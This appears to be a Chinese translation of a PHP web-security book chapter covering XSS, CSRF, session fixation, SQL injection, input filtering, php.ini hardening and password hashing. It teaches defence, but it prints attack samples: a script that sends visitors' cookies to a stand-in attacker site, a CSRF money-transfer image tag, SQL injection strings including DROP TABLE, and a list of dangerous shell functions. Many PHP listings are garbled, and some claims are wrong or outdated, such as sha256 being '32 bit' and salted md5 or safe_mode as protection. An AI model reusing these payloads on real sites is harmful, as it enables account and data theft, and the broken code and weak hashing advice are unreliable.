用户可以输入 JavaScript(或另一个脚本)而不会在重新显示时被过滤和转义的任何地方都容易受到 XSS 的攻击。这通常发生在以下情况中:

  • 评论或留言簿。

***清单 11-8。*一个不可避免的用户评论,当任何人访问该页面时会打开一个警告框

<script type="text/javascript">alert('XSS attack');</script>

或者

***清单 11-9。*一个不可避免的评论,它读取访问者的 Cookies 并将它们转移到攻击者的站点

<script type="text/javascript"> document.location = 'http://attackingSite.com/cookieGrabber.php?cookies='                                  + document.cookie </script>

  • 重新显示时没有过滤和转义的 PHP 表单。这可以是登录、注册或搜索表单。

考虑一个使用$_POST数据填充字段值的表单。当表单提交不完整时,以前的值会填充输入字段。这是一种用于维护表单状态的常用技术。它使用户在输入非法值或错过必填字段时不必重新输入每个字段值。考虑清单 11-10 中的 PHP 脚本。

***清单 11-10。*用 PHP 实现粘性表单处理。无输出逃逸,易受 XSS 影响

`<?php

field1="";field_1 = ""; field_2 = ""; if ( isset( _POST['submit'] ) ) {     form_fields = array( 'field_1', 'field_2' );     completedform=true;    foreach(completed_form = true;     foreach ( form_fields as field ) {         if ( !isset( _POST[field])trim(field] ) || trim( _POST[field] ) == "" ) {             completed_form = false;             break;         }else{             {field} = POST[_POST[field];         }     }

    if ( $completed_form ) {         //do something with values and redirect         header( "Location: success.php" );     } else {         print "

error

";     } } ?>

               `

如果我们输入到field_1中的值:

"><script type="text/javascript">alert('XSS attack');</script><"

然后我们提交的表单将无法通过我们的验证检查。表单将重新显示我们未转义的粘性值。生成的标记现在看起来像清单 11-11 中的。

***清单 11-11。*带有 XSS 指数的内插标记

`

    <"" />          

`

攻击者能够在页面上插入 JavaScript。我们可以通过对将要输出的变量进行转义来防止这种情况:

${$field} = htmlspecialchars( $_POST[$field], ENT_QUOTES, "UTF-8" );

这消除了威胁,产生了无害的标记,如清单 11-12 中的所示。

***清单 11-12。*htmlspecialchars 对输出进行转义,使插入的标记无害

`

              

`
  • URL 查询字符串变量如果不在输出中过滤和转义,很容易被滥用。考虑以下带有查询字符串的 URL:

http://www.foobar.com?user=<script type="text/javascript">alert('XSS attack');</script>

和 PHP 代码

<?php echo "Information for user: ".$_GET['user']; ?>

防范 XSS 袭击

为了防止 XSS,我们需要对用户可能注入恶意代码的任何输出数据进行转义。这包括表单值、$_GET查询变量以及可能包含 HTML 标记的留言簿和评论文章。

要从输出字符串$our_string中转义 HTML,我们可以使用函数

htmlspecialchars( $our_string, ENT_QUOTES, 'UTF-8' )

我们也可以用filter_var( $our_string, FILTER_SANITIZE_STRING )。我们将在本章后面更详细地讨论filter_var函数。为了防止 XSS,同时允许输出数据更自由,PHP 库 HTML 净化器是最流行的方法之一。HTML 净化器可以在[htmlpurifier.org/](http://htmlpurifier.org/)找到。

跨站请求伪造(CSRF)

CSRF 与 XSS 相反,它利用网站对用户的信任。CSRF 涉及伪造的 HTTP 请求,通常出现在img标记中。

CSRF 遇袭的一个例子

假设用户访问包含以下标记的网站:

<img src="http://attackedbank.com/transfer.php?from_user=victim&amount=1000&to_user=attacker"/>

浏览器访问src属性中的 URL 是为了获取图像。取而代之的是,访问一个带有查询字符串的 PHP 页面。如果用户最近访问过attackedbank.com,并且仍然有该站点的 cookie 数据,那么请求可以通过。更复杂的攻击欺骗使用直接 HTTP 请求的POST方法。受攻击网站的 CSRF 的困难在于无法区分有效和无效的请求。

CSRF 预防

防止 CSRF 最常用的技术是在生成会话 ID 时生成并存储一个秘密会话令牌,如清单 11-13 所示。则秘密令牌作为隐藏的表单字段被包含。提交表单时,我们确保令牌存在,并且与会话中找到的值相匹配。我们还确保表格在指定的时间内提交。

***清单 11-13。*带有隐藏令牌的样本表单

`<?php

session_start(); session_regenerate_id(); if ( !isset( _SESSION['csrf_token'] ) ) {   csrf_token = sha1( uniqid( rand(), true ) );   SESSION[csrftoken]=_SESSION['csrf_token'] = csrf_token;   $_SESSION['csrf_token_time'] = time(); } ?>

… `

然后,我们验证秘密令牌值是否匹配,生成时间是否在指定范围内(见清单 11-14 )。

***清单 11-14。*验证秘密令牌值是否匹配

`<?php

session_start(); if ( POST[csrftoken]==_POST['csrf_token'] == _SESSION['csrf_token'] ) {   csrftokenage=time()csrf_token_age = time() - _SESSION['csrf_token_time'];

  if ( $csrf_token_age <= 180 ) { //three minutes        //valid, process request   } } ?>`

会话

当一个人设置另一个人的会话标识符(SID)时,发生会话固定。一种常见的方法是使用 XSS 将 SID 写入用户的 cookies。攻击者可以在 URL 中检索会话 id(例如,/index.php?PHPSESSID=1234abcd))或在网络流量中监听会话 id。

为了防止会话固定,我们可以在每个脚本的开始重新生成会话,并在我们的php.ini中设置指令。

在我们的 PHP 文件中,我们可以用一个新的 ID 替换会话 ID,但是保留当前的会话数据。见清单 11-15 。

***清单 11-15。*在每个脚本的开始替换会话 ID

`<?php

session_start(); session_regenerate_id(); …`

在我们的php.ini文件中,我们可以禁止使用 cookies 来存储 SID。我们还防止 SID 出现在 URL 中。

session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0

images 注意session.gc_maxlifetime指令依赖于垃圾收集。为了更加一致,您可以自己记录会话开始时间,并在指定的时间段后终止。

为了防止会话固定,我们还可以存储一些$_SERVER信息的值,即REMOTE_ADDR, HTTP_USER_AGENTHTTP_REFERER。然后,我们在每个脚本执行开始时重新检查这些字段,并比较这些值的一致性。如果存储值和实际值不同,我们怀疑会话被篡改,我们可以用session_destroy();销毁它。

最后一个保护措施是在服务器端加密会话数据。这使得泄露的会话数据对没有解密密钥的任何人都没有价值。

防止 SQL 注入

当输入数据在插入数据库查询之前没有转义时,会发生 SQL 注入。无论恶意与否,SQL 注入都会以查询不希望的方式影响数据库。SQL 注入的一个经典例子是在查询字符串上:

$sql = "SELECT * FROM BankAccount WHERE username = '{$_POST['user'] }'";

如果攻击者能够正确猜测或确定(通过显示的错误或调试输出)与表单输入相对应的数据库表字段名,则注入是可能的。例如,将表单字段"user"设置为"foobar' OR username = 'foobar2",而不在提交时对数据进行转义,结果会被插值为:

$sql = "SELECT * FROM BankAccount WHERE username = 'foobar' OR username = 'foobar2'";

这使得攻击者能够从两个不同的帐户查看信息。

更大的注入是输入字符串"foobar' OR username = username"

其将被插值为

$sql = "SELECT * FROM BankAccount WHERE username ='foobar' OR username = username";

因为“username = username”总是为真,所以整个WHERE子句的计算结果总是为真。该查询将返回来自BankAccount table的所有记录。

不过,其他注射可能会改变或删除数据。考虑以下查询:

$sql = "SELECT * FROM BankAccount WHERE id = $_POST['id'] ";

和一个$_POST值:

$_POST['id']= "1; DROP TABLE BankAccount;"

在不转义变量的情况下,这被插值为:

"SELECT * FROM BankAccount WHERE id = 1; DROP TABLE BankAccount;"

这将删除BankAccount表。

如果可以,应该使用占位符,比如 PHP 数据对象(PHP)中的占位符。从安全角度来看,PDO 允许占位符、预准备语句和绑定数据。考虑清单 11-16 中显示的带有 PDO 的查询的三种变体。

***清单 11-16。*在 PDO 执行相同查询的三种不同方式

`<?php //No placeholders. Susceptible to SQL injection stmt=stmt = pdo_dbh->query( "SELECT * FROM BankAccount WHERE username = '{$_POST['username']}' " );  

//Unnamed placeholders.   stmt=stmt = pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = ? " );   stmt>execute(array(stmt->execute( array( _POST['username'] ) );

//Named placeholders. stmt=stmt = pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = :user " );   stmt>bindParam(:user,stmt->bindParam(':user', _POST['username']); $stmt->execute( );`

PDO 还提供了报价功能:

$safer_query = $pdo_dbh->quote($raw_unsafe_query);  

如果你不使用 PDO,那么还有其他方法可以替代quote函数。对于 MySQL 数据库,使用mysql_real_escape_string函数。对于 PostgreSQL 数据库,使用pg_escape_stringpg_escape_bytea函数。要使用 MySQL 或 PostgreSQL 转义函数,您需要在php.ini中启用适当的库。如果mysql_real_escape_string不可用,使用addslashes功能。请记住,mysql_real_escape_stringaddslashes,更好地处理字符编码问题和二进制数据,通常也更安全。

过滤扩展

PHP 5.2 中添加了过滤器扩展。过滤器扩展和filter_var功能在第六章 -表单设计中有所涉及,但我们将在本章中更深入地展示可选的FILTER_FLAGS。扩展中的过滤器要么用于验证,要么用于清理。验证过滤器返回有效的输入字符串,否则返回 false。净化过滤器移除非法字符并返回修改后的字符串。

过滤器扩展有两个php.ini指令filter.defaultfilter.default_flags,默认为:

filter.default = unsafe_raw filter.default_flags = NULL

这个指令将过滤所有的超级全局变量$_GET$_POST$_COOKIE$_SERVER$_REQUEST。默认情况下,unsafe_raw净化过滤器不执行任何操作。但是,您可以设置以下标志:

FILTER_FLAG_STRIP_LOW   //strip ASCII values smaller than 32 (non printable characters) FILTER_FLAG_STRIP_HIGH  //strip ASCII values larger than 127 (extended ASCII) FILTER_FLAG_ENCODE_LOW  //encode values smaller than 32 FILTER_FLAG_ENCODE_HIGH //encode values larger than 127 FILTER_FLAG_ENCODE_AMP  //encode & as &amp;

验证过滤器是FILTER_VALIDATE_*type*,其中类型{BOOLEAN, EMAIL, FLOAT, INT, IP, REGEXP and URL}之一。

我们可以通过将FILTER_FLAGS传递给第三个参数来使验证过滤器更加严格。与可选标志交叉引用的所有验证过滤器的列表可在[www.php.net/manual/en/filter.filters.validate.php](http://www.php.net/manual/en/filter.filters.validate.php),获得,与过滤器交叉引用的标志可在[www.php.net/manual/en/filter.filters.flags.php](http://www.php.net/manual/en/filter.filters.flags.php)获得。

使用FILTER_VALIDATE_IP时,有四个可选标志:

FILTER_FLAG_IPV4                //only IPv4 accepted, ex 192.0.2.128 FILTER_FLAG_IPV6                //only IPv6 accepted, ex ::ffff:192.0.2.128                                 //2001:0db8:85a3:0000:0000:8a2e:0370:7334. FILTER_FLAG_NO_PRIV_RANGE       //private ranges fail                                 //IPv4: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 and                                 //IPv6 starting with FD or FC FILTER_FLAG_NO_RES_RANGE        //reserved ranges fail                                 //IPv4: 0.0.0.0/8, 169.254.0.0/16,                                 //192.0.2.0/24 an d 224.0.0.0/4.                                 //IPv6: does not apply

***清单 11-17。*通过 FILTER_VALIDATE_IP 使用过滤标志

`<?php ipaddress="192.0.2.128";//IPv4addressvardump(filtervar(ip_address = "192.0.2.128"; //IPv4 address var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ); //192.0.2.128 var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); //false

ipaddress="::ffff:192.0.2.128";//IPv6addressrepresentationof192.0.2.128vardump(filtervar(ip_address = "::ffff:192.0.2.128"; //IPv6 address representation of 192.0.2.128 var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ); //false var_dump( filter_var( ipaddress,FILTERVALIDATEIP,FILTERFLAGIPV6));//ffff:192.0.2.128ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); //ffff:192.0.2.128` `ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); // 2001:0db8:85a3:0000:0000:8a2e:0370:7334

ipaddress="2001:0db8:85a3:0000:0000:8a2e:0370:7334";vardump(filtervar(ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) ); //2001:0db8:85a3:0000:0000:8a2e:0370:7334

ipaddress="FD01:0db8:85a3:0000:0000:8a2e:0370:7334";vardump(filtervar(ip_address = "FD01:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) ); //false

ipaddress="192.0.3.1";vardump(filtervar(ip_address = "192.0.3.1"; var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) ); //192.0.3.1

ipaddress="192.0.2.1";vardump(filtervar(ip_address = "192.0.2.1"; var_dump( filter_var( ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) ); //false ?>`

对于FILTER_VALIDATE_URL,只有两个可选标志,它们是:

`FILTER_FLAG_PATH_REQUIRED              //www.foobar.com/path FILTER_FLAG_QUERY_REQUIRED             //www.foobar.com/path?query=…

  `

净化过滤器为FILTER_SANITIZE_*type*,其中类型为{EMAIL, ENCODED, MAGIC_QUOTES, FLOAT, INT, SPECIAL_CHARS, STRING, STRIPPED, URL, UNSAFE_RAW}之一。在这些过滤器中,FILTER_SANITIZE_STRING移除 HTML 标签,FILTER_SANITIZE_STRIPPEDFILTER_SANITIZE_STRING的别名。

还有FILTER_CALLBACK,这是一个用户自定义的过滤功能。

Sanitize 函数修改原始变量,但不验证它。通常我们会想让一个变量通过一个净化过滤器,然后通过一个验证过滤器。下面是一个使用EMAIL过滤器的例子:

清单 11-18。 FILTER_SANITIZE_EMAIL例子

`<?php

email=(a@b.com);//getridoftheillegalparenthesischaractersemail = '(a@b.com)'; //get rid of the illegal parenthesis characters sanitized_email = filter_var( email,FILTERSANITIZEEMAIL);vardump(email, FILTER_SANITIZE_EMAIL ); var_dump( sanitized_email ); //a@b.com

var_dump( filter_var( $email, FILTER_VALIDATE_EMAIL ) ); //false

var_dump( filter_var( $sanitized_email, FILTER_VALIDATE_EMAIL ) ); //a@b.com ?>`

函数filter_var_arrayfilter_var相似,但可以一次过滤多个变量。要过滤超级全局变量,您可以使用以下三个函数之一:

  • filter_has_var($type, $variable_name)其中 type 是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENV中的一个,并对应于各自的超全局数组。返回变量是否存在。
  • filter_input,根据名称检索特定的外部变量,并有选择地过滤它。
  • filter_input_array,它检索外部变量并有选择地过滤它们。

清单 11-19。 filter_has_var 示例

`<?php // http://localhost/filter_has_var_test.php?test2=hey&test3=

$_GET['test'] = 1; var_dump( filter_has_var( INPUT_GET, 'test' ) ); //false var_dump( filter_has_var( INPUT_GET, 'test2' ) ); //true var_dump( filter_has_var( INPUT_GET, 'test3' ) ); //true ?>`

images 注意filter_has_var函数返回false,除非$_GET变量在实际查询字符串中被更改。当变量值为空时,它也返回true

对于过滤元信息,使用以下两个函数:

  • filter_list,返回支持的过滤器列表
  • filter_id,返回一个过滤器的 ID

php.ini 和服务器设置

强化环境的核心是拥有正确配置的php.ini文件和安全的服务器/主机。如果服务器受到威胁,那么我们采取的任何额外的安全措施都是无效的。举个例子,如果一个 PHP 文件对攻击者来说是可写的,那么在该文件中过滤数据和转义输出是没有用的。

服务器环境

潜在攻击者对我们的服务器环境了解得越少越好。这包括物理服务器信息,我们的网站是否有共享主机,我们正在运行哪些模块,以及php.ini和文件设置。Apache、PHP 或第三方库的新版本中已知的安全改进意味着攻击者将确切知道旧版本中会暴露什么。因此,我们不希望在生产环境中显示phpinfo()。我们稍后会看看如何在php.ini中禁用它。

在 Apache 服务器上,我们可以使用.htaccess来限制文件的访问和可见性。我们还可以向目录添加索引文件,这样就不会列出目录内容。除非绝对必要,否则不允许 web 用户写入文件也很重要。我们想写保护目录和文件。将目录权限设置为 755,将文件权限设置为 644,会限制非文件所有者的读取权限,以及非目录所有者的读取和执行权限。

我们也不能依靠一个robots.txt文件来阻止网络爬虫读取我们网站上的敏感数据。事实上,它可能有助于将恶意爬虫直接引向它。因此,所有敏感数据都应该在文档根目录之外。

如果我们在一个共享的主机环境中,我们需要能够相信我们的主机使用了安全方面的最佳实践,并快速修补任何新的漏洞。否则,服务器上其他站点的漏洞可能允许访问我们站点的文件。我们将在下一节讨论 PHP safe_mode的使用。最后,我们应该定期检查服务器和 PHP 日志,寻找可疑或错误的行为。

硬化 PHP。初始化设置文件的后缀名

在一个php.ini文件中有几个指令应该被调整以获得最佳的安全性,我们现在来看一下。

我们希望确保在生产环境中,任何潜在的错误都不会输出到屏幕显示中,这可能会暴露我们的文件系统或脚本的一些内部细节。我们仍然希望意识到错误,但不显示它们。

display_errors =  Off                   //do not display errors display_startup_errors  =  Off log_errors = On                         //log errors

如果可以找到并读取日志文件,这种额外的努力就白费了。所以要确保日志写在文档根目录之外。

error_log = "/somewhere/outside/web/root/" track_errors = Off      //keeps track of last error inside global $php_errormsg. We do not![images](https://p9-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/daa76a84159546f19530d9ecb22473b7~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1771038740&x-signature=%2FALg0P0UZ0%2FT%2B3u8KZSvBaIcYh8%3D)  want this. html_errors = Off       //inserts links to documentation about errors expose_php = Off;       //does not let the server add PHP to its header,                         //thus letting on that PHP is used on the server

如前所述,register_globals可能是一个很大的安全漏洞,尤其是在变量没有初始化的情况下。

register_globals = Off           //would register form data as global variables                                  // *DEPRECATED* as of PHP 5.3.0

魔术引号试图自动转义引号。然而,这导致了不一致。为此,最好明确使用数据库函数。

magic_quotes_gpc = Off   //deprecated in 5.3.0  Use database escaping instead

如前所述,我们应该禁止在 cookies 或 URL 中设置 SID。

session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0

我们可以禁用高风险的 PHP 函数,如果需要的话启用一些。

disable_functions =  curl_exec, curl_multi_exec, exec, highlight_file, parse_ini_file,![images](https://p9-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/daa76a84159546f19530d9ecb22473b7~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1771038740&x-signature=%2FALg0P0UZ0%2FT%2B3u8KZSvBaIcYh8%3D) passthru, phpinfo, proc_open, popen, shell_exec, show_source, system

PHP 类也有类似的指令,我们可以禁用任何不希望 PHP 使用的类。

disable_classes =

我们可以强化 PHP 处理文件访问和远程文件的方式:

allow_url_fopen = Off           //whether to allow remote files to be opened allow_url_include = Off         //whether to allow includes to come from remote files file_uploads = Off              //disable only if your scripts do not need file uploads

指令open_basedir将 PHP 可以打开的文件限制在指定的目录和子树中。

open_basedir = /the/base/directory/ enable_dl = Off                         //can allow bypassing of open_basedir settings

对于共享主机,safe_mode限制 PHP 只能由合适的用户 id 执行。然而,它并不限制其他脚本语言如 Bash 或 Perl 做同样的事情。这限制了我们从该指令中所能期望的实际安全程度。

safe_mode = On

密码算法

在这一节中,我们将看看密码散列的强度。当存储用户密码时,我们希望使用一种格式,使攻击者很难发现密码,即使他们侵入我们的数据库。出于这个原因,我们从来不想以纯文本的形式存储密码。哈希函数接受输入字符串,并将其转换为固定长度的表示形式。

哈希是一种单向算法,这意味着您无法从哈希中获得输入字符串。您必须总是重新散列输入,并将结果与已知的存储散列进行比较。crc32散列函数总是将数据表示为 32 位二进制数。因为字符串比表示形式多,所以哈希函数不是一对一的。将会有生成相同散列的唯一字符串。消息摘要算法(MD5)将输入字符串转换为 32 个字符的十六进制数或等效的 128 位二进制数。

尽管散列是一种方式,但被称为彩虹表的计算结果为一些散列提供了反向查找。MD5 哈希有一个已知的彩虹表。因此,如果数据库以 MD5 格式存储密码并遭到破坏,那么用户密码就很容易被确定。

如果你使用 MD5 散列,我们必须通过加盐使它们更强。 Salting 包括将一个字符串附加到一个散列结果上,然后重新散列连接的结果。只有当我们知道散列的附加 salt 是什么时,我们才能从输入字符串中重新生成它。

在 PHP 中,函数mt_rand比函数rand更新,算法更快。要生成 1 到 100 之间的随机值,可以调用:

mt_rand(1, 100);

函数uniqid将生成一个唯一的 ID。它有两个可选参数,第一个是前缀,第二个是是否使用更多的熵(随机性)。使用这些函数,我们可以生成一种独特的盐。见清单 11-20 。

***清单 11-20。*生成一个独特的盐,并用它来篡改我们的密码

<?php   $salt = uniqid( mt_rand() );   $password = md5( $user_input );   $stronger_password = md5( $password.$salt ); ?>

我们还需要将$salt的值存储在数据库中,以便以后检索和重新生成散列。

比 md5 散列更强的是美国安全散列算法 1 (SHA1)散列。PHP 有sha1()函数:

$stronger_password = sha1( $password.$salt );

对于 PHP 5.1.2 及更高版本,可以使用sha1sha2的后继。如你所料,sha2 比 sha1 更强。要使用 sha2,我们需要使用更通用的hash函数,它将散列算法名称作为第一个参数,将输入字符串作为第二个参数。目前有 30 多种散列算法可用。函数hash_algos将返回您的 PHP 版本上所有可用散列算法的列表。

***清单 11-21。*通过 sha2 算法使用哈希函数

<?php   $string = "your_password"; $sha2_32bit = hash( 'sha256', $string );  //32 bit sha2 $sha2_64bit = hash( 'sha512', $string );  //64 bit sha2

或者,crypt功能可以与几种算法一起使用,如md5sha256,sha512。然而,它需要更严格的 salt 长度和不同的前缀,这取决于所使用的算法。因此,记住要使用的正确语法更加困难。

最后,当试图为您的站点构建一个登录系统时,现有的解决方案如 OpenID 或 OAuth 提供了有保证的保护级别。除非需要一个独特的解决方案,否则考虑使用已经建立并经过测试的东西。

总结

在这一章中,我们讨论了很多内容。我们讨论了 PHP 脚本中安全性的重要性。我们谈到了不信任程序中的任何数据和逃避输出。我们讨论了使用过滤器扩展和防范会话固定、XSS 和 CSRF 攻击。我们还了解了 SQL 注入,并保证了文件系统的安全。最后,我们展示了如何调整php.ini文件的安全性和密码散列的强度。

当考虑安全性时,要记住的要点是数据和用户不应该被信任。在开发应用时,我们必须假设数据可能遭到破坏,用户正在寻找漏洞,并采取预防措施。